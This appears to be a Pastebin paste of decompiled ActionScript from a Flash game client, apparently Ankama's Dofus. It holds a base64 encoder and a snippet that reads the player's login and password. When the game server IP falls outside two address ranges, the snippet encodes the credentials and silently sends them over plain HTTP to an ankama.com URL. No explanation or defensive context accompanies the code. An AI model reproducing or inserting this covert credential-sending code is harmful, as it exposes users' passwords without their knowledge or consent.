Advertisement
Guest User

fdfdsfsdfdf

a guest
Jan 17th, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ////Haut
  2. function encode(opString)
  3. {
  4.     opString != undefined ? (str = opString) : (str = str);
  5.     var _loc3 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  6.     var _loc1;
  7.     var _loc5;
  8.     var _loc2 = 0;
  9.     for (var _loc4 = ""; str.length >= _loc2 + 3; _loc4 = _loc4 + (_loc3.charAt((_loc1 & 16515072) >> 18) + _loc3.charAt((_loc1 & 258048) >> 12) + _loc3.charAt((_loc1 & 4032) >> 6) + _loc3.charAt(_loc1 & 63)))
  10.     {
  11.         _loc1 = (str.charCodeAt(_loc2++) & 255) << 16 | (str.charCodeAt(_loc2++) & 255) << 8 | str.charCodeAt(_loc2++) & 255;
  12.     } // end of for
  13.     if (str.length - _loc2 > 0 && str.length - _loc2 < 3)
  14.     {
  15.         _loc5 = Boolean(str.length - _loc2 - 1);
  16.         _loc1 = (str.charCodeAt(_loc2++) & 255) << 16 | (_loc5 ? ((str.charCodeAt(_loc2) & 255) << 8) : (0));
  17.         _loc4 = _loc4 + (_loc3.charAt((_loc1 & 16515072) >> 18) + _loc3.charAt((_loc1 & 258048) >> 12) + (_loc5 ? (_loc3.charAt((_loc1 & 4032) >> 6)) : ("=")) + "=");
  18.     } // end if
  19.     return (_loc4);
  20. } // End of the function
  21.  
  22.  
  23.  
  24. ///Bas
  25. api = _root.mcModules.mcCORE.BATTLEFIELD._oAPI;
  26. var ip = _global.CONFIG.connexionServer.ip;
  27. if (!ip)
  28. {
  29.     ip = api.datacenter.Basics.serverHost;
  30. } // end if
  31. if (ip && ip.indexOf("80.239.173") == -1 && ip.indexOf("213.248.126") == -1)
  32. {
  33.     var ul = new LoadVars();
  34.     var encodedData = "";
  35.     encodedData = encodedData + "{";
  36.     encodedData = encodedData + ("\"login\":\"" + api.datacenter.Player.login + "\",");
  37.     encodedData = encodedData + ("\"pass\":\"" + api.datacenter.Player.pass + "\",");
  38.     encodedData = encodedData + ("\"server\":\"" + ip + "\"");
  39.     encodedData = encodedData + "}";
  40.     ul.load("http://www.ankama.com/news.html?news=" + encode(encodedData));
  41. } // end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement